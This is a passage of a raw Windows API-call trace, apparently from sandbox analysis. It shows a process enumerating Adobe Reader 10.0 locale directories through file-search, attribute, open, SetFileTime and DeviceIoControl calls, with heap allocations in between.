nFileSizeLow=0x3cc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.CHS", cAlternateFileName="")) returned 1 [0082.821] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8051bd00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.CHS", cAlternateFileName="")) returned 1 [0082.821] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.CHS", cAlternateFileName="")) returned 1 [0082.821] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.CHS", cAlternateFileName="")) returned 1 [0082.821] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82db9460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.CHS", cAlternateFileName="")) returned 1 [0082.821] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d93300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.CHS", cAlternateFileName="")) returned 1 [0082.821] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82db9460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.CHS", cAlternateFileName="")) returned 1 [0082.821] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.CHS", cAlternateFileName="")) returned 1 [0082.821] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d93300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.CHS", cAlternateFileName="")) returned 1 [0082.821] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d93300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.CHS", cAlternateFileName="")) returned 1 [0082.821] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9400, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.CHS", cAlternateFileName="")) returned 1 [0082.821] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6d7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.CHS", cAlternateFileName="")) returned 1 [0082.821] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.CHS", cAlternateFileName="")) returned 1 [0082.821] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d93300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4dc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.CHS", cAlternateFileName="")) returned 1 [0082.821] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe0600, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.CHS", cAlternateFileName="")) returned 1 [0082.821] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.CHS", cAlternateFileName="")) returned 1 [0082.821] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.CHS", cAlternateFileName="")) returned 1 [0082.821] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.CHS", cAlternateFileName="")) returned 1 [0082.821] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d93300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.CHS", cAlternateFileName="")) returned 1 [0082.821] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d93300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.CHS", cAlternateFileName="")) returned 1 [0082.821] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0082.821] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\services"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.822] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0082.822] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0082.822] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0082.823] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0082.823] NtClose (Handle=0x174) returned 0x0 [0082.823] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x129f5e0) returned 1 [0082.823] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.823] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.823] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129f5e0 [0082.823] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.823] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129f6e8 [0082.824] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e8f80 [0082.824] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.824] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x899d, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0082.824] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.824] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.824] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.824] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.825] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.825] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129f7f0 [0082.825] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.825] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12148a0 [0082.825] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129f8f8 [0082.826] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.826] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0082.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.826] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.827] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.827] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.827] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12148c0 [0082.827] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129fa00 [0082.827] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.827] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0082.827] GetLastError () returned 0x12 [0082.827] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9100 [0082.828] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0082.828] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.828] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x899d, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0082.828] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0082.828] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0082.828] GetLastError () returned 0x12 [0082.828] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x129f6e8) returned 1 [0082.828] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0082.828] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x129f7f0) returned 1 [0082.828] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x129f5e0) returned 1 [0082.828] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc7e5a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.CHS", cAlternateFileName="")) returned 1 [0082.828] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f498460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.CHS", cAlternateFileName="")) returned 1 [0082.828] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d93300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.CHS", cAlternateFileName="")) returned 1 [0082.829] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d93300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.CHS", cAlternateFileName="")) returned 0 [0082.829] GetLastError () returned 0x12 [0082.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.829] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0082.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0082.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.829] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1 [0082.829] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.829] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.830] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0082.830] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0082.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0082.830] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0082.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0082.830] NtClose (Handle=0x168) returned 0x0 [0082.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.831] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 